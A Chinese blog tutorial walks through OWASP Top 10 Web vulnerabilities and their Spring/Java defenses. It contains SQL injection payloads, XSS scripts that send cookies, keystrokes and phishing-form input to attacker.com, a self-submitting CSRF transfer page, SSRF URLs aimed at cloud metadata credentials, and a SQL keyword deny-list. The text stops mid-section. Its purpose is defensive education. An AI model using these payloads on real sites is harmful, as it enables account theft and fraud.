应用安全实践(一):常见Web漏洞(OWASP Top 10)与防护

目录

    • 前言
    • 摘要
    • [1. 引言](#1. 引言)
      • [1.1 什么是OWASP](#1.1 什么是OWASP)
      • [1.2 OWASP Top 10发展历程](#1.2 OWASP Top 10发展历程)
      • [1.3 2021版OWASP Top 10概览](#1.3 2021版OWASP Top 10概览)
    • [2. SQL注入攻击](#2. SQL注入攻击)
      • [2.1 漏洞原理](#2.1 漏洞原理)
      • [2.2 攻击示例](#2.2 攻击示例)
      • [2.3 防护措施](#2.3 防护措施)
    • [3. XSS跨站脚本攻击](#3. XSS跨站脚本攻击)
      • [3.1 漏洞原理](#3.1 漏洞原理)
      • [3.2 XSS攻击类型](#3.2 XSS攻击类型)
      • [3.3 攻击示例](#3.3 攻击示例)
      • [3.4 防护措施](#3.4 防护措施)
    • [4. CSRF跨站请求伪造](#4. CSRF跨站请求伪造)
      • [4.1 漏洞原理](#4.1 漏洞原理)
      • [4.2 攻击示例](#4.2 攻击示例)
      • [4.3 防护措施](#4.3 防护措施)
    • [5. 访问控制失效](#5. 访问控制失效)
      • [5.1 漏洞原理](#5.1 漏洞原理)
      • [5.2 攻击示例](#5.2 攻击示例)
      • [5.3 防护措施](#5.3 防护措施)
    • [6. 安全配置错误](#6. 安全配置错误)
      • [6.1 漏洞原理](#6.1 漏洞原理)
      • [6.2 常见配置错误示例](#6.2 常见配置错误示例)
      • [6.3 安全配置最佳实践](#6.3 安全配置最佳实践)
    • [7. 使用含有已知漏洞的组件](#7. 使用含有已知漏洞的组件)
      • [7.1 漏洞原理](#7.1 漏洞原理)
      • [7.2 防护措施](#7.2 防护措施)
    • [8. 身份认证失效](#8. 身份认证失效)
      • [8.1 漏洞原理](#8.1 漏洞原理)
      • [8.2 攻击示例](#8.2 攻击示例)
      • [8.3 防护措施](#8.3 防护措施)
    • [9. 不安全的反序列化](#9. 不安全的反序列化)
      • [9.1 漏洞原理](#9.1 漏洞原理)
      • [9.2 攻击示例](#9.2 攻击示例)
      • [9.3 防护措施](#9.3 防护措施)
    • [10. 安全日志与监控](#10. 安全日志与监控)
      • [10.1 漏洞原理](#10.1 漏洞原理)
      • [10.2 安全日志最佳实践](#10.2 安全日志最佳实践)
    • [11. 服务器端请求伪造(SSRF)](#11. 服务器端请求伪造(SSRF))
      • [11.1 漏洞原理](#11.1 漏洞原理)
      • [11.2 攻击示例](#11.2 攻击示例)
      • [11.3 防护措施](#11.3 防护措施)
    • [12. 总结](#12. 总结)
    • 参考资料

前言

作为一名有着多年开发经验的工程师,我深刻体会到Web安全的重要性。在实际项目中,我见过太多因为安全意识薄弱而导致的漏洞,有的造成了数据泄露,有的导致了经济损失,更有甚者影响了企业的声誉。安全不是事后补救的工作,而是应该在开发之初就融入设计理念。

本文是我Web安全实践系列的第一篇,将系统性地介绍OWASP Top 10中列出的十大常见Web漏洞,包括漏洞原理、攻击手法、危害程度以及防护措施。无论你是开发人员、测试工程师还是架构师,都能从本文中获得实用的安全知识。

摘要

本文系统性地介绍了OWASP Top 10中列出的十大Web安全漏洞,涵盖SQL注入、XSS跨站脚本、CSRF跨站请求伪造、不安全的反序列化、XML外部实体注入、访问控制失效、安全配置错误、使用含有已知漏洞的组件、身份认证失效、日志与监控不足等漏洞类型。每种漏洞都详细讲解了攻击原理、危害等级、代码示例和防护方案。通过本文的学习,读者将掌握Web安全的核心知识,能够在开发过程中识别和防范常见安全漏洞。

通过本文你将学到:

  • OWASP Top 10十大Web漏洞的原理与危害
  • 各种漏洞的攻击手法与代码示例
  • 针对每种漏洞的防护措施与最佳实践
  • 安全编码的基本原则

1. 引言

图:OWASP Top 10 Web安全漏洞概览

1.1 什么是OWASP

OWASP(Open Web Application Security Project,开放式Web应用程序安全项目)是一个致力于提高软件安全性的非营利组织。OWASP提供了一系列免费的安全资源,包括安全测试指南、开发指南、代码审查指南等,其中最著名的就是OWASP Top 10。

OWASP Top 10是OWASP组织每隔几年发布的一份报告,列出了当前Web应用程序最关键的十大安全风险。这份报告被全球范围内的企业、开发者和安全专家广泛采用,作为Web安全评估的重要参考标准。

1.2 OWASP Top 10发展历程

2003 OWASP Top 10首次发布<br/>奠定Web安全基准 2007 第二版发布<br/>增加新漏洞类型 2010 第三版发布<br/>引入风险评级体系 2013 第四版发布<br/>细化漏洞分类 2017 第五版发布<br/>强调API安全 2021 第六版发布<br/>重新排序风险等级 OWASP Top 10 发展历程

1.3 2021版OWASP Top 10概览

排名 漏洞类型 风险等级
A01 访问控制失效(Broken Access Control) 高危
A02 加密失败(Cryptographic Failures) 高危
A03 注入(Injection) 高危
A04 不安全设计(Insecure Design) 高危
A05 安全配置错误(Security Misconfiguration) 中危
A06 易受攻击和过时的组件(Vulnerable Components) 中危
A07 身份识别和身份验证失败(Authentication Failures) 高危
A08 软件和数据完整性失败(Integrity Failures) 高危
A09 安全日志和监控失败(Logging Failures) 中危
A10 服务器端请求伪造(SSRF) 高危

2. SQL注入攻击

2.1 漏洞原理

图:SQL注入攻击原理示意图

SQL注入(SQL Injection)是最经典的Web安全漏洞之一,其核心原理是攻击者通过在应用程序的输入字段中插入恶意的SQL代码片段,从而改变原本的SQL查询逻辑,实现非授权的数据访问或操作。

当应用程序将用户输入直接拼接到SQL语句中执行时,就存在SQL注入风险。攻击者可以利用这个漏洞读取敏感数据、修改数据库内容,甚至在特定条件下执行操作系统命令。
直接拼接
参数化查询
用户输入
应用程序处理
恶意SQL执行
安全执行
数据泄露
数据篡改
权限提升
正常业务流程

2.2 攻击示例

存在漏洞的代码(Java)

java 复制代码
// 危险代码:直接拼接用户输入
public User findByUsername(String username) {
    String sql = "SELECT * FROM users WHERE username = '" + username + "'";
    return jdbcTemplate.queryForObject(sql, new BeanPropertyRowMapper<>(User.class));
}

// 攻击者输入: admin' OR '1'='1' --
// 实际执行的SQL:
// SELECT * FROM users WHERE username = 'admin' OR '1'='1' --'
// 这将返回所有用户记录,因为 '1'='1' 永远为真

上述代码存在严重的SQL注入漏洞。攻击者在用户名输入框中输入admin' OR '1'='1' --,由于代码直接将用户输入拼接到SQL语句中,最终执行的SQL变成了一个永真条件,从而绕过了身份验证,返回了所有用户记录。--是SQL中的注释符号,它注释掉了后面的单引号,保证了SQL语句的语法正确性。

常见的SQL注入类型

注入类型 说明 示例
联合查询注入 使用UNION合并查询结果 ' UNION SELECT username,password FROM users --
布尔盲注 根据页面响应判断条件真假 ' AND 1=1 -- / ' AND 1=2 --
时间盲注 根据响应时间判断条件真假 ' AND SLEEP(5) --
报错注入 利用错误信息获取数据 ' AND extractvalue(1,concat(0x7e,(SELECT database()))) --

2.3 防护措施

使用参数化查询(推荐)

java 复制代码
// 安全代码:使用参数化查询
public User findByUsername(String username) {
    String sql = "SELECT * FROM users WHERE username = ?";
    return jdbcTemplate.queryForObject(
        sql, 
        new Object[]{username}, 
        new BeanPropertyRowMapper<>(User.class)
    );
}

// 使用JPA/Hibernate
@Repository
public interface UserRepository extends JpaRepository<User, Long> {
    @Query("SELECT u FROM User u WHERE u.username = :username")
    User findByUsername(@Param("username") String username);
}

参数化查询是防范SQL注入的最有效方法。它将SQL语句的结构与数据分离,数据库引擎会先编译SQL模板,然后将参数值作为纯数据处理,不会将其解释为SQL语法。这样即使用户输入包含SQL关键字,也不会影响SQL语句的结构。

输入验证与过滤

java 复制代码
// 白名单验证
public boolean isValidUsername(String username) {
    // 只允许字母、数字、下划线,长度3-20
    return username != null && username.matches("^[a-zA-Z0-9_]{3,20}$");
}

// 使用安全框架
@Component
public class SqlInjectionFilter implements Filter {
    private static final Pattern SQL_PATTERN = Pattern.compile(
        "(?i)(select|insert|update|delete|drop|truncate|exec|execute|xp_|sp_|0x)"
    );
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, 
                         FilterChain chain) throws IOException, ServletException {
        // 对输入参数进行检测
        HttpServletRequest req = (HttpServletRequest) request;
        Map<String, String[]> params = req.getParameterMap();
        for (String[] values : params.values()) {
            for (String value : values) {
                if (SQL_PATTERN.matcher(value).find()) {
                    ((HttpServletResponse) response).sendError(400, "非法输入");
                    return;
                }
            }
        }
        chain.doFilter(request, response);
    }
}

最小权限原则

数据库连接账户应仅具有必要的最小权限。应用程序不应使用root或sa等高权限账户连接数据库,而应创建专用的应用账户,仅授予必要的表操作权限。

sql 复制代码
-- 创建只读用户
CREATE USER 'app_readonly'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON app_db.* TO 'app_readonly'@'localhost';

-- 创建读写用户(限制DROP/ALTER权限)
CREATE USER 'app_readwrite'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE, DELETE ON app_db.* TO 'app_readwrite'@'localhost';

3. XSS跨站脚本攻击

3.1 漏洞原理

XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击,攻击者将恶意脚本注入到受信任的网站中,当其他用户浏览该网站时,嵌入的恶意脚本会在用户的浏览器中执行。

XSS攻击的核心在于Web应用程序对用户输入缺乏充分的过滤和转义,导致攻击者可以注入HTML标签、JavaScript代码等内容。攻击成功后,攻击者可以窃取用户的Cookie、Session Token,或者执行任意操作。
受害者浏览器 服务器 攻击者 受害者浏览器 服务器 攻击者 提交含恶意脚本的评论 存储到数据库(未过滤) 请求查看评论 返回含恶意脚本的页面 执行恶意脚本 发送Cookie到攻击者服务器

3.2 XSS攻击类型

XSS类型 原理 持久性 危害程度
反射型XSS 恶意脚本通过URL参数传递,服务器将其反射回响应页面
存储型XSS 恶意脚本被存储在服务器(数据库、文件),每次访问都会执行
DOM型XSS 恶意脚本在客户端JavaScript中动态执行,不经过服务器

3.3 攻击示例

存在漏洞的代码

java 复制代码
// 危险代码:直接输出用户输入
@GetMapping("/search")
public String search(@RequestParam String keyword, Model model) {
    model.addAttribute("keyword", keyword);
    model.addAttribute("results", searchService.search(keyword));
    return "search";  // 返回Thymeleaf模板
}
html 复制代码
<!-- 模板文件 search.html(不安全写法) -->
<div class="search-result">
    <p>您搜索的关键词: ${keyword}</p>  <!-- 直接输出,存在XSS -->
</div>

攻击payload示例

html 复制代码
<!-- 窃取Cookie -->
<script>
document.location='http://attacker.com/steal?cookie='+document.cookie;
</script>

<!-- 构造钓鱼表单 -->
<script>
document.body.innerHTML = '<form action="http://attacker.com/phish">' +
    '用户名: <input name="username"><br>' +
    '密码: <input name="password" type="password"><br>' +
    '<input type="submit" value="登录"></form>';
</script>

<!-- 键盘记录 -->
<script>
document.addEventListener('keypress', function(e) {
    new Image().src = 'http://attacker.com/keylog?key=' + e.key;
});
</script>

3.4 防护措施

输出编码(最重要)

java 复制代码
// 使用Spring HtmlUtils进行HTML编码
import org.springframework.web.util.HtmlUtils;

@GetMapping("/search")
public String search(@RequestParam String keyword, Model model) {
    // 对输出进行HTML编码
    model.addAttribute("keyword", HtmlUtils.htmlEscape(keyword));
    model.addAttribute("results", searchService.search(keyword));
    return "search";
}
html 复制代码
<!-- Thymeleaf模板(安全写法) -->
<div class="search-result">
    <!-- th:text 会自动进行HTML转义 -->
    <p>您搜索的关键词: <span th:text="${keyword}"></span></p>
    
    <!-- 如果确实需要输出HTML,使用 th:utext 需谨慎 -->
    <!-- <div th:utext="${content}"></div> -->
</div>

内容安全策略(CSP)

java 复制代码
// 配置CSP响应头
@Configuration
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.headers(headers -> headers
            .contentSecurityPolicy(csp -> csp
                .policyDirectives("default-src 'self'; " +
                    "script-src 'self' https://cdn.example.com; " +
                    "style-src 'self' 'unsafe-inline'; " +
                    "img-src 'self' data: https:; " +
                    "connect-src 'self' https://api.example.com")
            )
        );
        return http.build();
    }
}

输入过滤

java 复制代码
// 使用OWASP Java HTML Sanitizer
import org.owasp.html.HtmlPolicyBuilder;
import org.owasp.html.PolicyFactory;

public class HtmlSanitizer {
    
    private static final PolicyFactory POLICY = new HtmlPolicyBuilder()
        .allowElements("p", "b", "i", "u", "strong", "em", "a", "img")
        .allowAttributes("href").onElements("a")
        .allowAttributes("src", "alt").onElements("img")
        .requireRelNofollowOnLinks()
        .toFactory();
    
    public static String sanitize(String html) {
        return POLICY.sanitize(html);
    }
}

4. CSRF跨站请求伪造

4.1 漏洞原理

图:CSRF跨站请求伪造攻击流程

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种攻击方式,攻击者诱导已认证的用户在不知情的情况下向目标网站发送恶意请求。由于用户的浏览器会自动携带目标网站的Cookie,服务器会误认为这是用户的合法请求。

CSRF攻击的核心在于Web应用程序仅依赖Cookie进行身份验证,而没有验证请求是否来自合法的页面。
用户登录银行网站
获取认证Cookie
访问恶意网站
恶意网站发送请求到银行
浏览器自动携带Cookie
银行服务器执行转账

4.2 攻击示例

存在漏洞的转账接口

java 复制代码
// 危险代码:没有CSRF防护
@PostMapping("/transfer")
public String transfer(@RequestParam String toAccount, 
                       @RequestParam BigDecimal amount) {
    // 执行转账操作
    accountService.transfer(getCurrentUser(), toAccount, amount);
    return "redirect:/account";
}

攻击者的恶意页面

html 复制代码
<!-- 攻击者构造的恶意页面 -->
<html>
<head><title>恭喜中奖</title></head>
<body>
    <h1>恭喜您中奖100万!</h1>
    <form id="csrf-form" action="http://bank.com/transfer" method="POST">
        <input type="hidden" name="toAccount" value="attacker_account">
        <input type="hidden" name="amount" value="10000">
    </form>
    <script>
        // 页面加载后自动提交表单
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

当已登录银行网站的用户访问这个恶意页面时,表单会自动提交到银行的转账接口。由于浏览器会自动携带银行网站的Cookie,服务器会认为这是一个合法的转账请求并执行。

4.3 防护措施

CSRF Token(推荐)

java 复制代码
// Spring Security默认启用CSRF防护
@Configuration
@EnableWebSecurity
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(csrf -> csrf
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
            );
        return http.build();
    }
}
html 复制代码
<!-- 前端表单中包含CSRF Token -->
<form action="/transfer" method="POST">
    <input type="hidden" name="_csrf" th:value="${_csrf.token}"/>
    <input name="toAccount" placeholder="目标账户">
    <input name="amount" placeholder="转账金额">
    <button type="submit">转账</button>
</form>

SameSite Cookie属性

java 复制代码
// 配置SameSite属性
@Configuration
public class CookieConfig {
    
    @Bean
    public WebServerFactoryCustomizer<TomcatServletWebServerFactory> cookieProcessorCustomizer() {
        return factory -> factory.addContextCustomizers(context -> {
            context.setCookieProcessor(new LegacyCookieProcessor() {
                @Override
                public void parseCookieHeader(MimeHeaders headers, ServerCookies serverCookies) {
                    // 设置SameSite=Strict
                }
            });
        });
    }
}
yaml 复制代码
# application.yml配置
server:
  servlet:
    session:
      cookie:
        same-site: strict  # 或 lax

验证Referer/Origin头

java 复制代码
@Component
public class CsrfRefererFilter extends OncePerRequestFilter {
    
    @Override
    protected void doFilterInternal(HttpServletRequest request, 
                                    HttpServletResponse response, 
                                    FilterChain filterChain) throws ServletException, IOException {
        
        String referer = request.getHeader("Referer");
        String origin = request.getHeader("Origin");
        
        if (isStateChangingRequest(request) && !isValidOrigin(referer, origin)) {
            response.sendError(HttpServletResponse.SC_FORBIDDEN, "Invalid origin");
            return;
        }
        
        filterChain.doFilter(request, response);
    }
    
    private boolean isStateChangingRequest(HttpServletRequest request) {
        String method = request.getMethod().toUpperCase();
        return "POST".equals(method) || "PUT".equals(method) || 
               "DELETE".equals(method) || "PATCH".equals(method);
    }
    
    private boolean isValidOrigin(String referer, String origin) {
        String allowedOrigin = "https://myapp.com";
        if (origin != null) {
            return origin.startsWith(allowedOrigin);
        }
        if (referer != null) {
            return referer.startsWith(allowedOrigin);
        }
        return false;
    }
}

5. 访问控制失效

5.1 漏洞原理

访问控制失效(Broken Access Control)是指应用程序未能正确实施访问控制策略,导致用户可以访问或操作其权限范围之外的资源。这是2021版OWASP Top 10中排名第一的漏洞类型。

常见的访问控制问题包括:

  • 水平越权:同级用户之间可以互相访问对方的数据
  • 垂直越权:低权限用户可以访问高权限功能
  • IDOR(不安全的直接对象引用):通过修改ID访问其他用户的数据

5.2 攻击示例

存在漏洞的代码

java 复制代码
// 危险代码:仅检查用户是否登录,未验证资源所有权
@GetMapping("/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId) {
    // 任何登录用户都可以查看任意订单
    return orderService.findById(orderId);
}

// 危险代码:通过隐藏按钮"保护"管理功能
@GetMapping("/admin/users")
public String adminUsers(Model model) {
    // 仅在前端隐藏了管理入口,后端未做权限检查
    model.addAttribute("users", userService.findAll());
    return "admin/users";
}

攻击过程

text 复制代码
# 水平越权攻击
1. 用户A登录系统,查看自己的订单: /orders/1001
2. 用户A修改URL为: /orders/1002
3. 用户A成功查看到用户B的订单(越权访问)

# 垂直越权攻击
1. 普通用户登录系统
2. 直接访问管理页面URL: /admin/users
3. 成功获取所有用户列表(越权访问)

5.3 防护措施

基于角色的访问控制(RBAC)

java 复制代码
// 定义角色和权限
public enum Role {
    USER,       // 普通用户
    MANAGER,    // 管理员
    ADMIN       // 超级管理员
}

// 使用Spring Security注解进行权限控制
@RestController
@RequestMapping("/api/orders")
public class OrderController {
    
    @GetMapping("/{orderId}")
    @PreAuthorize("@orderSecurity.canAccessOrder(authentication, #orderId)")
    public Order getOrder(@PathVariable Long orderId) {
        return orderService.findById(orderId);
    }
    
    @GetMapping("/admin/all")
    @PreAuthorize("hasRole('ADMIN')")
    public List<Order> getAllOrders() {
        return orderService.findAll();
    }
    
    @DeleteMapping("/{orderId}")
    @PreAuthorize("hasRole('ADMIN') or @orderSecurity.isOwner(authentication, #orderId)")
    public void deleteOrder(@PathVariable Long orderId) {
        orderService.delete(orderId);
    }
}

// 自定义权限检查组件
@Component("orderSecurity")
public class OrderSecurity {
    
    @Autowired
    private OrderRepository orderRepository;
    
    public boolean canAccessOrder(Authentication auth, Long orderId) {
        Order order = orderRepository.findById(orderId);
        if (order == null) return false;
        
        String username = auth.getName();
        // 管理员可以访问所有订单
        if (auth.getAuthorities().stream()
                .anyMatch(a -> a.getAuthority().equals("ROLE_ADMIN"))) {
            return true;
        }
        // 普通用户只能访问自己的订单
        return order.getOwner().getUsername().equals(username);
    }
}

资源所有权验证

java 复制代码
// 安全代码:验证资源所有权
@GetMapping("/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId, Principal principal) {
    Order order = orderService.findById(orderId);
    
    // 验证当前用户是否是订单所有者
    if (!order.getOwner().getUsername().equals(principal.getName())) {
        // 检查是否是管理员
        if (!securityService.hasRole("ADMIN")) {
            throw new AccessDeniedException("无权访问此订单");
        }
    }
    
    return order;
}

避免暴露内部ID

java 复制代码
// 使用UUID代替自增ID,防止枚举攻击
@Entity
public class Order {
    @Id
    @GeneratedValue(strategy = GenerationType.UUID)
    private UUID id;  // 使用UUID
    
    // 或者使用加密ID
    // private Long id;
    // transient private String publicId;  // 加密后的公开ID
}

6. 安全配置错误

6.1 漏洞原理

安全配置错误(Security Misconfiguration)是最常见的安全问题之一,通常由于默认配置不安全、配置不完整、开放云存储、过度详细的错误信息等原因导致。

常见的配置错误包括:

  • 使用默认账户和密码
  • 目录列表未禁用
  • 详细错误信息暴露
  • 不必要的功能启用
  • 未及时更新框架和组件

6.2 常见配置错误示例

错误信息泄露

java 复制代码
// 危险配置:暴露详细错误信息
@SpringBootApplication
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}

// application.properties(不安全)
server.error.include-message=always
server.error.include-binding-errors=always
server.error.include-stacktrace=always

默认账户未修改

yaml 复制代码
# 危险配置:使用默认密码
spring:
  security:
    user:
      name: admin
      password: admin  # 弱密码

不必要的端口开放

yaml 复制代码
# 危险配置:暴露管理端点
management:
  endpoints:
    web:
      exposure:
        include: "*"  # 暴露所有端点

6.3 安全配置最佳实践

安全的应用配置

yaml 复制代码
# application-prod.yml(安全配置)
spring:
  security:
    user:
      name: ${ADMIN_USERNAME}  # 从环境变量读取
      password: ${ADMIN_PASSWORD}  # 从环境变量读取
  
server:
  error:
    include-message: never
    include-binding-errors: never
    include-stacktrace: never
    include-exception: false

management:
  endpoints:
    web:
      exposure:
        include: health,info,prometheus  # 仅暴露必要端点
  endpoint:
    health:
      show-details: never  # 不显示详细健康信息

logging:
  level:
    root: INFO
    org.springframework.security: WARN  # 避免敏感日志

Spring Security安全配置

java 复制代码
@Configuration
@EnableWebSecurity
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            // 禁用不安全的HTTP方法
            .httpBasic(basic -> basic.disable())
            
            // 配置请求授权
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .requestMatchers("/api/**").authenticated()
                .anyRequest().denyAll()
            )
            
            // 配置表单登录
            .formLogin(form -> form
                .loginPage("/login")
                .defaultSuccessUrl("/home")
                .failureHandler(new CustomAuthenticationFailureHandler())
            )
            
            // 配置Session
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED)
                .maximumSessions(1)
                .maxSessionsPreventsLogin(true)
            )
            
            // 安全Headers
            .headers(headers -> headers
                .frameOptions(HeadersConfigurer.FrameOptionsConfig::deny)
                .xssProtection(xss -> xss.headerValue(XXssProtectionHeaderWriter.HeaderValue.ENABLED_MODE_BLOCK))
                .contentSecurityPolicy(csp -> csp.policyDirectives("default-src 'self'"))
            )
            
            // 禁用CSRF(仅用于无状态API)
            // .csrf(csrf -> csrf.disable())
            
            // 启用HTTPS
            .requiresChannel(channel -> channel
                .anyRequest().requiresSecure()
            );
        
        return http.build();
    }
}

7. 使用含有已知漏洞的组件

7.1 漏洞原理

现代应用程序广泛使用第三方库和框架,这些组件可能存在已知的安全漏洞。如果开发团队没有及时更新这些组件,攻击者就可以利用这些已知漏洞进行攻击。

常见的风险组件包括:

  • 存在反序列化漏洞的旧版本Jackson、Fastjson
  • 存在远程代码执行漏洞的Log4j 2.x(Log4Shell)
  • 存在目录遍历漏洞的旧版本Spring Framework
  • 存在XSS漏洞的旧版本jQuery

7.2 防护措施

依赖版本管理

xml 复制代码
<!-- pom.xml:使用依赖管理 -->
<project>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>3.2.0</version>  <!-- 使用最新稳定版 -->
    </parent>
    
    <dependencies>
        <!-- 显式声明版本,避免传递依赖带来的风险 -->
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.15.0</version>
        </dependency>
    </dependencies>
</project>

使用依赖检查工具

xml 复制代码
<!-- OWASP Dependency Check插件 -->
<plugin>
    <groupId>org.owasp</groupId>
    <artifactId>dependency-check-maven</artifactId>
    <version>8.4.0</version>
    <configuration>
        <failBuildOnCVSS>7</failBuildOnCVSS>  <!-- CVSS评分>=7时构建失败 -->
    </configuration>
    <executions>
        <execution>
            <goals>
                <goal>check</goal>
            </goals>
        </execution>
    </executions>
</plugin>

持续监控漏洞

yaml 复制代码
# GitHub Dependabot配置
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "maven"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10
    ignore:
      - dependency-name: "*"
        update-types: ["version-update:semver-major"]

8. 身份认证失效

8.1 漏洞原理

身份认证失效是指应用程序在身份验证机制上存在缺陷,导致攻击者可以冒充合法用户。常见问题包括弱密码策略、凭证填充攻击、会话管理不当等。

8.2 攻击示例

弱密码问题

java 复制代码
// 危险代码:没有密码复杂度要求
@PostMapping("/register")
public void register(@RequestParam String username, @RequestParam String password) {
    // 接受任何密码,包括"123456"、"password"等
    userService.register(username, password);
}

会话固定攻击

java 复制代码
// 危险代码:登录后不更换Session ID
@PostMapping("/login")
public String login(@RequestParam String username, @RequestParam String password, 
                    HttpServletRequest request) {
    User user = authService.authenticate(username, password);
    if (user != null) {
        // 登录成功后没有更换Session ID
        request.getSession().setAttribute("user", user);
        return "redirect:/home";
    }
    return "login";
}

8.3 防护措施

强密码策略

java 复制代码
// 安全代码:密码复杂度验证
public class PasswordValidator {
    
    private static final Pattern PASSWORD_PATTERN = Pattern.compile(
        "^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{8,}$"
    );
    
    public static boolean isValid(String password) {
        // 至少8位,包含大小写字母、数字、特殊字符
        return PASSWORD_PATTERN.matcher(password).matches();
    }
    
    public static List<String> validate(String password) {
        List<String> errors = new ArrayList<>();
        if (password.length() < 8) errors.add("密码长度至少8位");
        if (!password.matches(".*[a-z].*")) errors.add("密码需包含小写字母");
        if (!password.matches(".*[A-Z].*")) errors.add("密码需包含大写字母");
        if (!password.matches(".*\\d.*")) errors.add("密码需包含数字");
        if (!password.matches(".*[@$!%*?&].*")) errors.add("密码需包含特殊字符");
        return errors;
    }
}

多因素认证(MFA)

java 复制代码
// TOTP二次认证
@Service
public class MfaService {
    
    private final Totp totp;
    
    public MfaService() {
        this.totp = new Totp(
            new GoogleAuthenticatorConfig.GoogleAuthenticatorConfigBuilder()
                .setTimeStepSizeInMillis(TimeUnit.MINUTES.toMillis(1))
                .setWindowSize(5)
                .build()
        );
    }
    
    public boolean verifyCode(String secret, int code) {
        return totp.verify(secret, code);
    }
    
    public String generateSecret() {
        return new GoogleAuthenticator().createCredentials().getKey();
    }
}

安全的会话管理

java 复制代码
@Configuration
public class SessionConfig {
    
    @Bean
    public HttpSessionEventPublisher httpSessionEventPublisher() {
        return new HttpSessionEventPublisher();
    }
}

// 登录后更换Session ID
@PostMapping("/login")
public String login(@RequestParam String username, @RequestParam String password, 
                    HttpServletRequest request) {
    User user = authService.authenticate(username, password);
    if (user != null) {
        // 防止会话固定攻击:登录后更换Session ID
        request.changeSessionId();
        request.getSession().setAttribute("user", user);
        return "redirect:/home";
    }
    return "login";
}

9. 不安全的反序列化

9.1 漏洞原理

不安全的反序列化(Insecure Deserialization)是指应用程序在反序列化不可信数据时,可能导致远程代码执行、权限提升等严重后果。Java、PHP、Python等语言的反序列化机制都可能存在此类风险。

9.2 攻击示例

存在漏洞的代码

java 复制代码
// 危险代码:反序列化不可信数据
@PostMapping("/upload")
public void upload(@RequestBody byte[] data) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
    Object obj = ois.readObject();  // 危险:可能执行恶意代码
    // ...
}

攻击者可以构造恶意的序列化对象,利用反序列化过程中的魔术方法(如Java的readObject)执行任意代码。

9.3 防护措施

避免反序列化不可信数据

java 复制代码
// 安全代码:使用JSON等安全格式
@PostMapping("/upload")
public void upload(@RequestBody String json) {
    // 使用Jackson反序列化JSON,避免Java原生反序列化
    MyData data = objectMapper.readValue(json, MyData.class);
    // ...
}

使用白名单机制

java 复制代码
// 安全代码:限制可反序列化的类
public class SafeObjectInputStream extends ObjectInputStream {
    
    private static final Set<String> ALLOWED_CLASSES = Set.of(
        "com.example.model.User",
        "com.example.model.Order"
    );
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
            throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

10. 安全日志与监控

10.1 漏洞原理

日志和监控不足(Insufficient Logging & Monitoring)会导致安全事件无法被及时发现和响应。攻击者可能长期潜伏在系统中,而安全团队却毫不知情。

10.2 安全日志最佳实践

记录关键安全事件

java 复制代码
@Service
@Slf4j
public class SecurityAuditService {
    
    // 登录事件
    public void logLoginAttempt(String username, String ip, boolean success) {
        log.info("LOGIN_ATTEMPT: user={}, ip={}, success={}", username, ip, success);
        if (!success) {
            // 失败次数过多时告警
            alertService.checkBruteForce(username, ip);
        }
    }
    
    // 敏感操作
    public void logSensitiveOperation(String userId, String operation, String resource) {
        log.info("SENSITIVE_OP: user={}, op={}, resource={}", userId, operation, resource);
    }
    
    // 权限变更
    public void logPermissionChange(String operator, String target, String change) {
        log.warn("PERMISSION_CHANGE: operator={}, target={}, change={}", operator, target, change);
    }
    
    // 异常访问
    public void logAnomalousAccess(String userId, String reason, String details) {
        log.error("ANOMALOUS_ACCESS: user={}, reason={}, details={}", userId, reason, details);
        alertService.sendAlert(userId, reason, details);
    }
}

日志配置

xml 复制代码
<!-- logback-spring.xml -->
<configuration>
    <!-- 安全日志单独文件 -->
    <appender name="SECURITY" class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>logs/security.log</file>
        <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
            <fileNamePattern>logs/security.%d{yyyy-MM-dd}.log</fileNamePattern>
            <maxHistory>90</maxHistory>
        </rollingPolicy>
        <encoder>
            <pattern>%d{yyyy-MM-dd HH:mm:ss} [%thread] %-5level %logger{36} - %msg%n</pattern>
        </encoder>
    </appender>
    
    <logger name="SECURITY" level="INFO" additivity="false">
        <appender-ref ref="SECURITY"/>
    </logger>
</configuration>

11. 服务器端请求伪造(SSRF)

11.1 漏洞原理

SSRF(Server-Side Request Forgery)是指攻击者能够诱导服务器向任意URL发起请求。这可能导致访问内部服务、云元数据泄露、端口扫描等问题。

11.2 攻击示例

存在漏洞的代码

java 复制代码
// 危险代码:未验证用户提供的URL
@GetMapping("/fetch")
public String fetch(@RequestParam String url) throws Exception {
    URL targetUrl = new URL(url);  // 用户可控制URL
    HttpURLConnection conn = (HttpURLConnection) targetUrl.openConnection();
    // 读取响应...
    return response;
}

攻击payload

text 复制代码
# 访问云元数据
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 访问内部服务
/fetch?url=http://localhost:8080/admin

# 扫描内部端口
